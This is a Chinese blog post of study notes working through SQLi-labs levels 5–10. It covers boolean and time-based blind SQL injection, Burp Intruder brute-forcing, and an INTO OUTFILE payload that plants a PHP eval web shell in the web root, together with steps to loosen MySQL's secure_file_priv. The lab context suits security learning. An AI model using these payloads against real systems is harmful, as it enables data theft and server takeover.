zoukankan      html  css  js  c++  java
  • SQLILABS学习笔记(二)

    逼话少说,如有错误,烦请指出,谢谢

    这两天生病,效率很低

    第5关

     

    打开页面

     

    发现跟前几题不同,没有直接返回数据.。

     

    加个单引号

     

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

    报错信息发现已经被闭合了,那我们就order by 试一下看看

     

    发现能有成功查询会返回 You are in ,而不会返回查询的数据,这题是一题盲注题

     

    盲注就需要我们一个一个的猜字符了,

     

    先构造注入语句

     

    http://10.2.10.31/sqli/Less-5/?id=1' and ascii(substr(database(),1,1)) > 10 --+

     

    函数不懂的话可以使用搜索引擎查询

     

    原理就是,获取当前的数据库的第一个字符,由于我们之前做了前几题,知道是s

     

    所以我们直接用s来试,节约时间。

     

     

    发现回显正常,换一个字符就没回显了,就说明s是第一个字符,以此类推获得整个数据库名。

     

    再之后可以查询数据库中表的名称,方法也是一样,我贴一条

     

    http://10.2.10.31/sqli/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1) = 'e' --+

     

    这样推,就可以把这题做出来。

     

    当然,这样是最慢的方法,但是还是要掌握的。

     

    我们可以使用bp的爆破模块来进行爆破。

     

    首先先抓到我们需要的包

    我这里就抓查询表的包了,之后把抓到的包发到爆破模块,intruder里面。

    由于里面会默认选择爆破的信息,我们需要先点击clear。

     

    选中要爆破的字符

    再到payloads里面设置一下字典,这里我们可以选择他自带的字典。

     

    并且修改字符最大值为1,最小值也为1

    然后再到options里面设置一下线程。

    最后点击start attack 就可以开始了

    以此类推。

     

    第五关结束。

     

    第六关

     

    第六关就是把单引号换成双引号,其他的都一样,没区别

     

    第六关结束

     

    第七关

     

     

    测试注入

     

    http://10.2.10.35/sqli/Less-7/?id=1'

     

    报错,说明可能存在sql注入

     

    继续测试,

     

     

    当用1=2判断的时候,发现回显正常

     

    最后测试,发现用http://10.2.10.35/sqli/Less-7/?id=1')) 可以成功闭合

     

    之后提示要用outfile来写入文件

     

    可以用第一关来帮助我们找到网站的绝对路径

     

    @@datadir 读取数据库路径
    @@basedir MYSQL 获取安装路径

     

    http://10.2.10.35/sqli/Less-1/?id=-1' union select 1,2,@@basedir --+

     

    构造语句如下

     

    http://10.2.10.35/sqli/Less-7/?id=-1')) union select 1,'<?php @eval($_POST[value]);?>',3 into outfile 'D:/phpStudy/PHPTutorial/WWW/sqli/Less-7/d.php' --+

     

    遇到写入不了的情况应该是mysq没有设置好

     

    可以在mysql的命令行查看一下secure-file-priv当前的值

     

    show variables like ‘%secure%’;

     

    如果为Null

     

    这则需要打开mysql下的my.ini文件,在其中添加上  secure_file_priv=”/”

     

    之后使用菜刀就可以连接了。

     

    第七关结束

     

     

    第八关

     

     

    测试注入点

     

    http://10.2.10.35/sqli/Less-8/?id=1'

     

    发现无回显

     

    http://10.2.10.35/sqli/Less-8/?id=1' --+

     

    有回显

     

    说明我们已经成功闭合了

     

    就可以按照之前盲注的思路,接着注入就能得到答案

     

    还有一种方法是通过if判断,利用sleep进行时间盲注

     

    构造语句如下

     

    http://10.2.10.35/sqli/Less-8/?id=1' and if(length(database())>10,1,sleep(5))  --+

     

    先判断长度,再用substr函数来判断每一位是什么,这里就不再赘述

     

    第八关结束

     

    第九关

     

    换了一种方式

     

    http://10.2.10.35/sqli/Less-9/?id=1' and sleep(5) --+

     

    利用sleep判断是否执行了我们的sql语句

     

    发现成功以后,还是按照之前的方法继续盲注,方法都一样

     

    第九关结束

     

    第十关

     

    第十关就是把单引号换成了双引号,其他的都一样

     

    第十关结束

     

  • 相关阅读:
    httphelper
    MD5加密
    json操作
    将list转成tree
    GenerateId类:生成唯一id、订单号
    加密、解密(默认密钥向量)
    Hadoop HDFS批量处理
    OceanBase学习总结
    TiDB学习
    开机自启动rc.local文件修改权限
  • 原文地址:https://www.cnblogs.com/qxxaq/p/11469480.html
Copyright © 2011-2022 走看看